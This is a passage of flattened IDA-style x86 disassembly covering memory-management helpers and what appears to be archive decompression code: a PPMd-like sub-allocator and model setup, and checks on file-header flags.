loc_9B0E5E: ; CODE XREF: sub_9B0DF4+43j push eax ; Memory call free pop ecx mov eax, esi jmp loc_9B0F1C ; --------------------------------------------------------------------------- loc_9B0E6D: ; CODE XREF: sub_9B0DF4+62j or dword ptr [esi+40D7F4h], 0FFFFFFFFh lea eax, [esi+408B10h] push eax mov [esi+40D7CCh], edi mov [esi+40D7B0h], edi mov [esi+40D7A0h], edi mov [esi+40D7A8h], edi mov [esi+40D7A4h], edi mov [esi+40D7ACh], edi call sub_9B2484 mov eax, [ebp+Memory] mov ax, [eax+5] cmp ax, 0Dh pop ecx jbe short loc_9B0EFE movzx eax, ax push 1 sub eax, 0Dh push eax push [ebp+arg_0] call sub_9B3E22 add esp, 0Ch test eax, eax jnz short loc_9B0EFE push [ebp+Memory] ; Memory mov edi, free call edi ; free lea eax, [esi+408B10h] push eax call sub_9B2497 push esi call sub_9AFB83 lea eax, [esi+40D7CCh] push eax call sub_9B2804 push esi ; Memory call edi ; free add esp, 14h push 0FFFFFFFEh pop eax jmp short loc_9B0F1C ; --------------------------------------------------------------------------- loc_9B0EFE: ; CODE XREF: sub_9B0DF4+BCj ; sub_9B0DF4+D4j mov eax, [ebp+Memory] mov [ebx+10h], eax mov eax, [ebp+arg_0] mov [ebx+1Ch], eax mov [ebx+0Ch], esi mov [ebx+4], edi mov [ebx+8], edi mov dword ptr [ebx+18h], 1 xor eax, eax loc_9B0F1C: ; CODE XREF: sub_9B0DF4+74j ; sub_9B0DF4+108j pop esi loc_9B0F1D: ; CODE XREF: sub_9B0DF4+25j pop edi loc_9B0F1E: ; CODE XREF: sub_9B0DF4+Ej pop ebx pop ebp retn sub_9B0DF4 endp ; =============== S U B R O U T I N E ======================================= sub_9B0F21 proc near ; CODE XREF: sub_9AF0BC+6Cp arg_0 = dword ptr 4 push ebp push edi mov edi, [esp+8+arg_0] push 74h push dword ptr [edi+1Ch] call sub_9B0C53 xor ebp, ebp cmp eax, ebp pop ecx pop ecx mov [edi], eax jnz short loc_9B0F43 xor eax, eax inc eax jmp loc_9B0FDE ; --------------------------------------------------------------------------- loc_9B0F43: ; CODE XREF: sub_9B0F21+18j push esi push 21h ; Size call malloc mov esi, eax cmp esi, ebp pop ecx jnz short loc_9B0F5B loc_9B0F53: ; CODE XREF: sub_9B0F21+A0j or eax, 0FFFFFFFFh jmp loc_9B0FDD ; --------------------------------------------------------------------------- loc_9B0F5B: ; CODE XREF: sub_9B0F21+30j push ebx mov ebx, [edi] push 1 push ebp push ebp push dword ptr [ebx+20h] call __allmul mov ecx, [ebx+7] xor ebx, ebx add eax, ecx push 1 adc edx, ebx push ebp mov [esi], eax mov [esi+4], edx mov ebx, [edi] push ebp push dword ptr [ebx+24h] call __allmul mov ecx, [ebx+0Bh] xor ebx, ebx add eax, ecx mov [esi+8], eax adc edx, ebx mov [esi+0Ch], edx mov eax, [edi] mov eax, [eax+10h] mov [esi+18h], eax mov eax, [edi] mov al, [eax+19h] mov [esi+20h], al mov eax, [edi] push dword ptr [eax+28h] ; Src call _strdup cmp eax, ebp pop ecx mov [esi+10h], eax pop ebx jnz short loc_9B0FC3 push esi ; Memory call free pop ecx jmp short loc_9B0F53 ; --------------------------------------------------------------------------- loc_9B0FC3: ; CODE XREF: sub_9B0F21+96j mov [esi+14h], ebp mov [esi+1Ch], ebp mov eax, [edi+8] cmp eax, ebp jnz short loc_9B0FD5 mov [edi+4], esi jmp short loc_9B0FD8 ; --------------------------------------------------------------------------- loc_9B0FD5: ; CODE XREF: sub_9B0F21+ADj mov [eax+14h], esi loc_9B0FD8: ; CODE XREF: sub_9B0F21+B2j mov [edi+8], esi xor eax, eax loc_9B0FDD: ; CODE XREF: sub_9B0F21+35j pop esi loc_9B0FDE: ; CODE XREF: sub_9B0F21+1Dj pop edi pop ebp retn sub_9B0F21 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B0FE1 proc near ; CODE XREF: sub_9AF0BC+81p arg_0 = dword ptr 8 push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] mov eax, [esi] push edi mov edi, eax mov [ebp+arg_0], eax movzx eax, word ptr [edi+5] add eax, [edi+2Ch] push 0 push eax push dword ptr [esi+1Ch] call sub_9B3E22 movzx ecx, word ptr [edi+5] add ecx, [edi+2Ch] add esp, 0Ch cmp eax, ecx jz short loc_9B101B push dword ptr [edi+28h] loc_9B1013: ; CODE XREF: sub_9B0FE1+15Cj mov edi, free jmp short loc_9B1053 ; --------------------------------------------------------------------------- loc_9B101B: ; CODE XREF: sub_9B0FE1+2Dj mov ax, [edi+3] test al, 4 jz short loc_9B1063 mov eax, [esi+8] mov dword ptr [eax+1Ch], 1 loc_9B102D: ; CODE XREF: sub_9B0FE1+84j ; sub_9B0FE1+93j ... mov edi, [esi] push 0 mov eax, edi push dword ptr [eax+30h] push dword ptr [esi+1Ch] call sub_9B3E22 add esp, 0Ch push dword ptr [edi+28h] ; Memory cmp eax, [edi+30h] mov edi, free jz loc_9B1142 loc_9B1053: ; CODE XREF: sub_9B0FE1+38j call edi ; free push dword ptr [esi] ; Memory call edi ; free pop ecx pop ecx push 0FFFFFFFEh pop eax jmp loc_9B1162 ; --------------------------------------------------------------------------- loc_9B1063: ; CODE XREF: sub_9B0FE1+40j test al, 3 jnz short loc_9B102D mov eax, [esi+10h] mov ax, [eax+3] test al, 1 jz short loc_9B1076 test al, 8 jnz short loc_9B102D loc_9B1076: ; CODE XREF: sub_9B0FE1+8Fj push dword ptr [edi+0Bh] ; Size lea eax, [esi+24h] push 8302h ; char push eax ; int call sub_9B3EA2 add esp, 0Ch test eax, eax jge short loc_9B1095 mov eax, [esi] jmp loc_9B113A ; --------------------------------------------------------------------------- loc_9B1095: ; CODE XREF: sub_9B0FE1+ABj mov ecx, [esi+0Ch] mov [ecx], eax mov edx, [esi] mov [esi+20h], eax cmp byte ptr [edx+19h], 30h jnz short loc_9B10B9 push dword ptr [edx+7] push eax push dword ptr [esi+1Ch] call sub_9B0D88 add esp, 0Ch jmp loc_9B102D ; --------------------------------------------------------------------------- loc_9B10B9: ; CODE XREF: sub_9B0FE1+C2j mov eax, [edx+0Bh] and dword ptr [ecx+40D7C8h], 0 mov [ecx+40D7C4h], eax mov eax, [esi] mov eax, [eax+7] mov [ecx+40D7F8h], eax mov eax, [esi] cmp byte ptr [eax+18h], 0Fh ja short loc_9B10F8 cmp dword ptr [esi+18h], 1 jbe short loc_9B10F0 mov eax, [esi+10h] test byte ptr [eax+3], 8 jz short loc_9B10F0 xor eax, eax inc eax jmp short loc_9B10F2 ; --------------------------------------------------------------------------- loc_9B10F0: ; CODE XREF: sub_9B0FE1+FFj ; sub_9B0FE1+108j xor eax, eax loc_9B10F2: ; CODE XREF: sub_9B0FE1+10Dj push ecx push eax push 0Fh jmp short loc_9B111B ; --------------------------------------------------------------------------- loc_9B10F8: ; CODE XREF: sub_9B0FE1+F9j cmp dword ptr [esi+18h], 1 jnz short loc_9B110A test byte ptr [eax+3], 10h jz short loc_9B110A add word ptr [eax+3], 0FFF0h loc_9B110A: ; CODE XREF: sub_9B0FE1+11Bj ; sub_9B0FE1+121j mov eax, [esi] push ecx xor ecx, ecx mov cl, [eax+3] movzx eax, byte ptr [eax+18h] and ecx, 10h push ecx push eax loc_9B111B: ; CODE XREF: sub_9B0FE1+115j push dword ptr [esi+1Ch] call sub_9B0B9A add esp, 10h test eax, eax jnz loc_9B102D mov eax, [esi] test byte ptr [eax+3], 10h jz loc_9B102D loc_9B113A: ; CODE XREF: sub_9B0FE1+AFj push dword ptr [eax+28h] ; Memory jmp loc_9B1013 ; --------------------------------------------------------------------------- loc_9B1142: ; CODE XREF: sub_9B0FE1+6Cj call edi ; free push dword ptr [esi] ; Memory call edi ; free mov eax, [esi+0Ch] test eax, eax pop ecx pop ecx jz short loc_9B115D add eax, 40D7CCh push eax call sub_9B2804 pop ecx loc_9B115D: ; CODE XREF: sub_9B0FE1+16Ej inc dword ptr [esi+18h] xor eax, eax loc_9B1162: ; CODE XREF: sub_9B0FE1+7Dj pop edi pop esi pop ebp retn sub_9B0FE1 endp ; =============== S U B R O U T I N E ======================================= sub_9B1166 proc near ; CODE XREF: sub_9AF0BC+C2p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+20h] test eax, eax push edi mov edi, [esi+0Ch] jz short loc_9B117D push eax call sub_9B3D23 pop ecx loc_9B117D: ; CODE XREF: sub_9B1166+Ej add edi, 408B10h push edi call sub_9B2497 push dword ptr [esi+10h] ; Memory mov edi, free call edi ; free push dword ptr [esi+0Ch] call sub_9AFB83 mov eax, [esi+0Ch] add esp, 0Ch test eax, eax jz short loc_9B11B2 add eax, 40D7CCh push eax call sub_9B2804 pop ecx loc_9B11B2: ; CODE XREF: sub_9B1166+3Ej push dword ptr [esi+0Ch] ; Memory call edi ; free pop ecx pop edi pop esi retn sub_9B1166 endp ; =============== S U B R O U T I N E ======================================= sub_9B11BB proc near ; CODE XREF: sub_9B125E+25p arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword ptr [eax], 0 and dword ptr [eax+4], 0 retn sub_9B11BB endp ; =============== S U B R O U T I N E ======================================= sub_9B11C7 proc near ; CODE XREF: sub_9B12A0+2Ap arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_9B11E5 mov eax, [esi] test eax, eax jz short loc_9B11DE push eax ; Memory call free pop ecx loc_9B11DE: ; CODE XREF: sub_9B11C7+Dj and dword ptr [esi], 0 and dword ptr [esi+4], 0 loc_9B11E5: ; CODE XREF: sub_9B11C7+7j pop esi retn sub_9B11C7 endp ; =============== S U B R O U T I N E ======================================= sub_9B11E7 proc near ; CODE XREF: sub_9B3A12+76p ; sub_9B3A12+15Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] add [esi+4], eax mov eax, [esi+4] lea eax, [eax+eax*4] shl eax, 3 push eax ; NewSize push dword ptr [esi] ; Memory call sub_9B132C test eax, eax pop ecx pop ecx mov [esi], eax jnz short loc_9B120E pop esi retn ; --------------------------------------------------------------------------- loc_9B120E: ; CODE XREF: sub_9B11E7+23j mov esi, [esi+4] push 28h ; Size lea ecx, [esi+esi*4] lea eax, [eax+ecx*8-28h] push 0 ; Val push eax ; Dst call memset add esp, 0Ch xor eax, eax inc eax pop esi retn sub_9B11E7 endp ; =============== S U B R O U T I N E ======================================= sub_9B122A proc near ; CODE XREF: sub_9AFBCB+86p ; sub_9AFBCB+168p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] add [esi+4], eax mov eax, [esi+4] shl eax, 2 push eax ; NewSize push dword ptr [esi] ; Memory call sub_9B132C test eax, eax pop ecx pop ecx mov [esi], eax jnz short loc_9B1251 and [esi+4], eax pop esi retn ; --------------------------------------------------------------------------- loc_9B1251: ; CODE XREF: sub_9B122A+20j mov ecx, [esi+4] and dword ptr [eax+ecx*4-4], 0 xor eax, eax inc eax pop esi retn sub_9B122A endp ; =============== S U B R O U T I N E ======================================= sub_9B125E proc near ; CODE XREF: sub_9AFBCB+95p ; sub_9AFBCB:loc_9AFCD4p push esi push edi push 54h ; Size call sub_9B1311 mov esi, eax xor edi, edi cmp esi, edi pop ecx jnz short loc_9B1274 xor eax, eax jmp short loc_9B129D ; --------------------------------------------------------------------------- loc_9B1274: ; CODE XREF: sub_9B125E+10j lea eax, [esi+10h] push eax mov [esi], edi mov [esi+4], edi mov [esi+8], edi mov [esi+0Ch], edi call sub_9B11BB pop ecx mov [esi+1Ch], edi mov [esi+20h], edi mov [esi+2Ch], edi mov [esi+28h], edi mov [esi+24h], edi mov [esi+50h], edi mov eax, esi loc_9B129D: ; CODE XREF: sub_9B125E+14j pop edi pop esi retn sub_9B125E endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_9B12A0(void *Memory) sub_9B12A0 proc near ; CODE XREF: sub_9AF4A5+12Ap ; sub_9AF4A5+1B3p ... Memory = dword ptr 4 push esi mov esi, [esp+4+Memory] test esi, esi jz short loc_9B12D5 mov eax, [esi+1Ch] test eax, eax push edi mov edi, free jz short loc_9B12BB push eax ; Memory call edi ; free pop ecx loc_9B12BB: ; CODE XREF: sub_9B12A0+15j mov eax, [esi+20h] test eax, eax jz short loc_9B12C6 push eax ; Memory call edi ; free pop ecx loc_9B12C6: ; CODE XREF: sub_9B12A0+20j lea eax, [esi+10h] push eax call sub_9B11C7 push esi ; Memory call edi ; free pop ecx pop ecx pop edi loc_9B12D5: ; CODE XREF: sub_9B12A0+7j pop esi retn sub_9B12A0 endp ; =============== S U B R O U T I N E ======================================= sub_9B12D7 proc near ; CODE XREF: sub_9AFB83+32p ; sub_9AFB83+3Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_9B130F push edi xor edi, edi cmp [esi+4], edi jbe short loc_9B12F9 loc_9B12E8: ; CODE XREF: sub_9B12D7+20j mov eax, [esi] push dword ptr [eax+edi*4] ; Memory call sub_9B12A0 inc edi cmp edi, [esi+4] pop ecx jb short loc_9B12E8 loc_9B12F9: ; CODE XREF: sub_9B12D7+Fj mov eax, [esi] test eax, eax pop edi jz short loc_9B1308 push eax ; Memory call free pop ecx loc_9B1308: ; CODE XREF: sub_9B12D7+27j and dword ptr [esi], 0 and dword ptr [esi+4], 0 loc_9B130F: ; CODE XREF: sub_9B12D7+7j pop esi retn sub_9B12D7 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_9B1311(size_t Size) sub_9B1311 proc near ; CODE XREF: sub_9AFBCB+2BAp ; sub_9AFBCB+34Fp ... Size = dword ptr 4 mov eax, [esp+Size] test eax, eax jz short loc_9B1329 cmp eax, 0B000000h ja short loc_9B1329 push eax ; Size call malloc pop ecx retn ; --------------------------------------------------------------------------- loc_9B1329: ; CODE XREF: sub_9B1311+6j ; sub_9B1311+Dj xor eax, eax retn sub_9B1311 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9B132C(void *Memory, size_t NewSize) sub_9B132C proc near ; CODE XREF: sub_9AFBCB+D6p ; sub_9AFBCB+431p ... Memory = dword ptr 8 NewSize = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+NewSize], 0 jz short loc_9B135F cmp [ebp+NewSize], 0B000000h ja short loc_9B135F push [ebp+NewSize] ; NewSize push [ebp+Memory] ; Memory call realloc test eax, eax pop ecx pop ecx jnz short loc_9B1361 cmp [ebp+Memory], eax jz short loc_9B135F push [ebp+Memory] ; Memory call free pop ecx loc_9B135F: ; CODE XREF: sub_9B132C+7j ; sub_9B132C+10j ... xor eax, eax loc_9B1361: ; CODE XREF: sub_9B132C+22j pop ebp retn sub_9B132C endp ; =============== S U B R O U T I N E ======================================= sub_9B1363 proc near ; CODE XREF: sub_9B1675+4Dp ; sub_9B1A07+1B8p arg_0 = dword ptr 4 movsx ecx, word ptr [eax+ecx*2+0B8h] movsx edx, word ptr [eax+edx*2+0B8h] sub edx, ecx push esi mov esi, [esp+4+arg_0] lea ecx, [ecx+ecx*2] lea ecx, [esi+ecx*4] movsx esi, word ptr [eax+edx*2+102h] push edi movsx edi, word ptr [eax+esi*2+0B8h] cmp edi, edx jz short loc_9B13B0 mov edi, [eax+esi*4+1Ch] dec esi mov [ecx], edi mov [eax+esi*4+20h], ecx movsx esi, word ptr [eax+esi*2+0B8h] lea edi, [esi+esi*2] lea ecx, [ecx+edi*4] sub edx, esi loc_9B13B0: ; CODE XREF: sub_9B1363+30j movsx edx, word ptr [eax+edx*2+102h] lea eax, [eax+edx*4+20h] mov edx, [eax] pop edi mov [ecx], edx mov [eax], ecx pop esi retn sub_9B1363 endp ; =============== S U B R O U T I N E ======================================= sub_9B13C5 proc near ; CODE XREF: sub_9B13DA+12p ; sub_9B2497+9j ... cmp dword ptr [eax+1Ch], 0 jz short locret_9B13D9 push dword ptr [eax+10h] ; Memory and dword ptr [eax+1Ch], 0 call free pop ecx locret_9B13D9: ; CODE XREF: sub_9B13C5+4j retn sub_9B13C5 endp ; =============== S U B R O U T I N E ======================================= sub_9B13DA proc near ; CODE XREF: sub_9B24A5+16p ; sub_9B24CC+CCp push ebx mov ebx, eax shl ebx, 14h cmp [edi+1Ch], ebx jnz short loc_9B13EA xor eax, eax inc eax pop ebx retn ; --------------------------------------------------------------------------- loc_9B13EA: ; CODE XREF: sub_9B13DA+9j mov eax, edi call sub_9B13C5 cmp ebx, 83FFFF4h jbe short loc_9B13FD xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_9B13FD: ; CODE XREF: sub_9B13DA+1Dj push esi push 0Ch xor edx, edx pop ecx mov eax, ebx div ecx inc eax lea esi, [eax+eax*2] shl esi, 2 push esi ; Size call malloc test eax, eax pop ecx mov [edi+10h], eax jz short loc_9B142A lea eax, [eax+esi-0Ch] mov [edi+8], eax xor eax, eax mov [edi+1Ch], ebx inc eax loc_9B142A: ; CODE XREF: sub_9B13DA+41j pop esi pop ebx retn sub_9B13DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B142D proc near ; CODE XREF: sub_9B17CA+25p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push edi push 98h ; Size lea eax, [esi+20h] push 0 ; Val push eax ; Dst call memset mov edi, [esi+1Ch] add esp, 0Ch push 8 pop ebx mov eax, edi cdq idiv ebx push 0Ch pop ebx xor edx, edx push 0Ch mov ecx, [esi+10h] mov [esi], ecx div ebx xor edx, edx mov ebx, eax imul ebx, 54h sub edi, ebx mov eax, edi mov [ebp+var_4], eax pop edi div edi push 0Ch lea eax, [eax+eax*2] lea eax, [edx+eax*4] lea edi, [eax+ecx] mov eax, [ebp+var_4] add ecx, eax mov [esi+0Ch], ecx pop ecx xor edx, edx mov eax, ebx div ecx push 4 mov [esi+4], edi mov [esi+14h], edi lea ecx, [esi+0B8h] lea eax, [eax+eax*2] lea eax, [edi+eax*4] pop edi mov [esi+18h], eax xor eax, eax push 2 inc eax mov edx, edi pop ebx loc_9B14AA: ; CODE XREF: sub_9B142D+84j mov [ecx], ax add ecx, ebx inc eax dec edx jnz short loc_9B14AA inc eax lea ecx, [esi+0C0h] mov edx, edi loc_9B14BC: ; CODE XREF: sub_9B142D+97j mov [ecx], ax add ecx, ebx add eax, ebx dec edx jnz short loc_9B14BC inc eax lea ecx, [esi+0C8h] mov edx, edi loc_9B14CF: ; CODE XREF: sub_9B142D+ABj mov [ecx], ax add ecx, ebx add eax, 3 dec edx jnz short loc_9B14CF push 1Ah inc eax lea ecx, [esi+0D0h] pop edx loc_9B14E4: ; CODE XREF: sub_9B142D+BFj mov [ecx], ax add ecx, ebx add eax, edi dec edx jnz short loc_9B14E4 xor edx, edx xor eax, eax mov [esi+204h], dx lea ecx, [esi+104h] loc_9B14FF: ; CODE XREF: sub_9B142D+F3j lea edi, [edx+1] movsx edx, word ptr [esi+eax*2+0B8h] xor ebx, ebx cmp edx, edi setl bl mov edx, edi add eax, ebx mov [ecx], ax inc ecx inc ecx cmp edx, 80h jl short loc_9B14FF pop edi pop ebx leave retn sub_9B142D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B1526 proc near ; CODE XREF: sub_9B1675+15p var_C = dword ptr -0Ch var_8 = dword ptr -8 push ebp mov ebp, esp sub esp, 0Ch mov eax, [ecx+14h] cmp eax, [ecx+18h] jz short loc_9B1537 mov byte ptr [eax], 0 loc_9B1537: ; CODE XREF: sub_9B1526+Cj push ebx push esi push edi lea eax, [ebp+var_C] push 26h mov [ebp+var_8], eax mov [ebp+var_C], eax lea edx, [ecx+20h] lea esi, [ecx+0B8h] pop edi jmp short loc_9B1578 ; --------------------------------------------------------------------------- loc_9B1551: ; CODE XREF: sub_9B1526+55j mov eax, [edx] mov ebx, [eax] mov [edx], ebx lea ebx, [ebp+var_C] mov [eax+4], ebx mov ebx, [ebp+var_C] mov [eax], ebx mov ebx, [ebp+var_C] mov [ebx+4], eax mov [ebp+var_C], eax or word ptr [eax+8], 0FFFFh mov bx, [esi] mov [eax+0Ah], bx loc_9B1578: ; CODE XREF: sub_9B1526+29j ; sub_9B1526+5Dj cmp dword ptr [edx], 0 jnz short loc_9B1551 inc esi inc esi add edx, 4 dec edi jnz short loc_9B1578 mov eax, [ebp+var_C] lea esi, [ebp+var_C] cmp eax, esi mov edx, eax jz loc_9B1665 jmp short loc_9B15C0 ; --------------------------------------------------------------------------- loc_9B1597: ; CODE XREF: sub_9B1526+AAj movzx esi, word ptr [eax+0Ah] movzx edi, word ptr [edx+0Ah] add esi, edi cmp esi, 10000h jge short loc_9B15D2 mov esi, [eax+4] mov edi, [eax] mov [esi], edi mov esi, [eax] mov edi, [eax+4] mov [esi+4], edi mov ax, [eax+0Ah] add [edx+0Ah], ax loc_9B15C0: ; CODE XREF: sub_9B1526+6Fj ; sub_9B1526+B3j movzx eax, word ptr [edx+0Ah] lea eax, [eax+eax*2] lea eax, [edx+eax*4] cmp word ptr [eax+8], 0FFFFh jz short loc_9B1597 loc_9B15D2: ; CODE XREF: sub_9B1526+81j mov edx, [edx] lea eax, [ebp+var_C] cmp edx, eax jnz short loc_9B15C0 jmp loc_9B1662 ; --------------------------------------------------------------------------- loc_9B15E0: ; CODE XREF: sub_9B1526+144j mov edi, [eax] lea edx, [eax+4] mov esi, [edx] mov [esi], edi mov edx, [edx] mov esi, [eax] mov [esi+4], edx movzx edx, word ptr [eax+0Ah] cmp edx, 80h jle short loc_9B1625 lea esi, [edx-81h] shr esi, 7 inc esi mov edi, esi neg edi shl edi, 7 add edx, edi loc_9B160F: ; CODE XREF: sub_9B1526+FDj mov edi, [ecx+0B4h] mov [eax], edi mov [ecx+0B4h], eax add eax, 600h dec esi jnz short loc_9B160F loc_9B1625: ; CODE XREF: sub_9B1526+D4j movsx edi, word ptr [ecx+edx*2+102h] movsx esi, word ptr [ecx+edi*2+0B8h] cmp esi, edx jz short loc_9B1658 movsx ebx, word ptr [ecx+edi*2+0B6h] dec edi mov esi, edx sub esi, ebx sub edx, esi lea esi, [ecx+esi*4+1Ch] mov ebx, [esi] lea edx, [edx+edx*2] lea edx, [eax+edx*4] mov [edx], ebx mov [esi], edx loc_9B1658: ; CODE XREF: sub_9B1526+111j lea edx, [ecx+edi*4+20h] mov esi, [edx] mov [eax], esi mov [edx], eax loc_9B1662: ; CODE XREF: sub_9B1526+B5j mov eax, [ebp+var_C] loc_9B1665: ; CODE XREF: sub_9B1526+69j lea edx, [ebp+var_C] cmp eax, edx jnz loc_9B15E0 pop edi pop esi pop ebx leave retn sub_9B1526 endp ; =============== S U B R O U T I N E ======================================= sub_9B1675 proc near ; CODE XREF: sub_9B16FB+45p ; sub_9B1748+26p cmp word ptr [esi+204h], 0 jnz short loc_9B169E mov ecx, esi mov word ptr [esi+204h], 0FFh call sub_9B1526 lea ecx, [esi+edi*4+20h] mov eax, [ecx] test eax, eax jz short loc_9B169E mov edx, [eax] mov [ecx], edx retn ; --------------------------------------------------------------------------- loc_9B169E: ; CODE XREF: sub_9B1675+8j ; sub_9B1675+22j mov edx, edi lea eax, [esi+edi*4+20h] loc_9B16A4: ; CODE XREF: sub_9B1675+3Bj inc edx add eax, 4 cmp edx, 26h jz short loc_9B16CC cmp dword ptr [eax], 0 jz short loc_9B16A4 push ebx mov ebx, [esi+edx*4+20h] mov eax, [ebx] mov [esi+edx*4+20h], eax push ebx mov ecx, edi mov eax, esi call sub_9B1363 pop ecx mov eax, ebx pop ebx retn ; --------------------------------------------------------------------------- loc_9B16CC: ; CODE XREF: sub_9B1675+36j dec word ptr [esi+204h] movsx eax, word ptr [esi+edi*2+0B8h] mov ecx, [esi+0Ch] mov edx, ecx sub edx, [esi] lea eax, [eax+eax*2] shl eax, 2 cmp edx, eax jle short loc_9B16F8 sub ecx, eax sub [esi+4], eax mov eax, [esi+4] mov [esi+0Ch], ecx retn ; --------------------------------------------------------------------------- loc_9B16F8: ; CODE XREF: sub_9B1675+75j xor eax, eax retn sub_9B1675 endp ; =============== S U B R O U T I N E ======================================= sub_9B16FB proc near ; CODE XREF: sub_9B1776+25p ; sub_9B17CA+7Bp ... push esi mov esi, ecx push edi movsx edi, word ptr [esi+eax*2+102h] lea ecx, [esi+edi*4+20h] mov eax, [ecx] test eax, eax jz short loc_9B1717 mov edx, [eax] mov [ecx], edx jmp short loc_9B1745 ; --------------------------------------------------------------------------- loc_9B1717: ; CODE XREF: sub_9B16FB+14j mov eax, [esi+14h] lea edx, [esi+edi*2+0B8h] movsx ecx, word ptr [edx] lea ecx, [ecx+ecx*2] lea ecx, [eax+ecx*4] cmp ecx, [esi+18h] mov [esi+14h], ecx jbe short loc_9B1745 movsx eax, word ptr [edx] lea eax, [eax+eax*2] shl eax, 2 sub ecx, eax mov [esi+14h], ecx call sub_9B1675 loc_9B1745: ; CODE XREF: sub_9B16FB+1Aj ; sub_9B16FB+35j pop edi pop esi retn sub_9B16FB endp ; =============== S U B R O U T I N E ======================================= sub_9B1748 proc near ; CODE XREF: sub_9B17CA+45p ; sub_9B1BD9+115p push esi mov esi, eax mov eax, [esi+18h] cmp eax, [esi+14h] jz short loc_9B175B add eax, 0FFFFFFF4h mov [esi+18h], eax pop esi retn ; --------------------------------------------------------------------------- loc_9B175B: ; CODE XREF: sub_9B1748+9j cmp dword ptr [esi+20h], 0 jz short loc_9B176B mov eax, [esi+20h] mov ecx, [eax] mov [esi+20h], ecx pop esi retn ; --------------------------------------------------------------------------- loc_9B176B: ; CODE XREF: sub_9B1748+17j push edi xor edi, edi call sub_9B1675 pop edi pop esi retn sub_9B1748 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B1776 proc near ; CODE XREF: sub_9B1D29+178p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx movsx eax, word ptr [edi+esi*2+102h] movsx ecx, word ptr [edi+esi*2+104h] cmp eax, ecx mov [ebp+var_4], eax jnz short loc_9B1796 mov eax, ebx leave retn ; --------------------------------------------------------------------------- loc_9B1796: ; CODE XREF: sub_9B1776+1Aj lea eax, [esi+1] mov ecx, edi call sub_9B16FB test eax, eax mov [ebp+var_8], eax jz short loc_9B17C5 lea ecx, [esi+esi*2] shl ecx, 2 push ecx ; Size push ebx ; Src push eax ; Dst call memcpy mov eax, [ebp+var_4] lea eax, [edi+eax*4+20h] mov ecx, [eax] mov [ebx], ecx add esp, 0Ch mov [eax], ebx loc_9B17C5: ; CODE XREF: sub_9B1776+2Fj mov eax, [ebp+var_8] leave retn sub_9B1776 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B17CA proc near ; CODE XREF: sub_9B192C+10p ; sub_9B1D29+A8p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h push ebx push esi push 100h ; Size xor ebx, ebx lea eax, [edi+888h] push ebx ; Val push eax ; Dst call memset add esp, 0Ch lea esi, [edi+654h] call sub_9B142D mov eax, [edi+87Ch] cmp eax, 0Ch jl short loc_9B1802 push 0Ch pop eax loc_9B1802: ; CODE XREF: sub_9B17CA+33j or ecx, 0FFFFFFFFh sub ecx, eax mov eax, esi mov [edi+884h], ecx call sub_9B1748 cmp eax, ebx mov [edi+8], eax mov [edi+4], eax jz short loc_9B185C mov [eax], ebx mov eax, [edi+87Ch] mov [edi+878h], eax mov eax, [edi+4] mov word ptr [eax+0Ah], 100h mov eax, [edi+4] mov word ptr [eax+8], 101h mov eax, 80h mov ecx, esi call sub_9B16FB mov ecx, [edi+4] mov [ecx+4], eax mov eax, [edi+4] mov eax, [eax+4] cmp eax, ebx mov [edi], eax jnz short loc_9B1863 loc_9B185C: ; CODE XREF: sub_9B17CA+52j xor eax, eax jmp loc_9B1928 ; --------------------------------------------------------------------------- loc_9B1863: ; CODE XREF: sub_9B17CA+90j mov eax, [edi+884h] mov [edi+880h], eax xor ecx, ecx mov [edi+4C89h], bl xor eax, eax loc_9B1879: ; CODE XREF: sub_9B17CA+D6j mov edx, [edi+4] mov edx, [edx+4] mov [edx+eax+4], cl mov edx, [edi+4] mov edx, [edx+4] mov byte ptr [edx+eax+5], 1 mov edx, [edi+4] mov edx, [edx+4] mov [eax+edx], ebx add eax, 6 inc ecx cmp eax, 600h jl short loc_9B1879 lea eax, [edi+0C88h] mov [ebp+var_4], ebx mov [ebp+var_C], eax loc_9B18AE: ; CODE XREF: sub_9B17CA+133j mov ebx, [ebp+var_4] mov eax, [ebp+var_C] add ebx, 2 mov ecx, offset dword_9A6AC4 mov [ebp+var_8], eax loc_9B18BF: ; CODE XREF: sub_9B17CA+123j mov esi, [ebp+var_8] mov [ebp+var_10], 8 loc_9B18C9: ; CODE XREF: sub_9B17CA+115j movzx eax, word ptr [ecx] cdq idiv ebx mov edx, 4000h sub edx, eax mov [esi], dx add esi, 10h dec [ebp+var_10] jnz short loc_9B18C9 add [ebp+var_8], 2 inc ecx inc ecx cmp ecx, offset byte_9A6AD4 jl short loc_9B18BF inc [ebp+var_4] mov eax, 80h add [ebp+var_C], eax cmp [ebp+var_4], eax jl short loc_9B18AE xor edx, edx lea ecx, [edi+0Fh] loc_9B1904: ; CODE XREF: sub_9B17CA+159j lea eax, [edx+edx*4+0Ah] push 10h shl eax, 3 pop esi loc_9B190E: ; CODE XREF: sub_9B17CA+153j mov byte ptr [ecx-1], 3 mov [ecx-3], ax mov byte ptr [ecx], 4 add ecx, 4 dec esi jnz short loc_9B190E inc edx cmp edx, 19h jl short loc_9B1904 xor eax, eax inc eax loc_9B1928: ; CODE XREF: 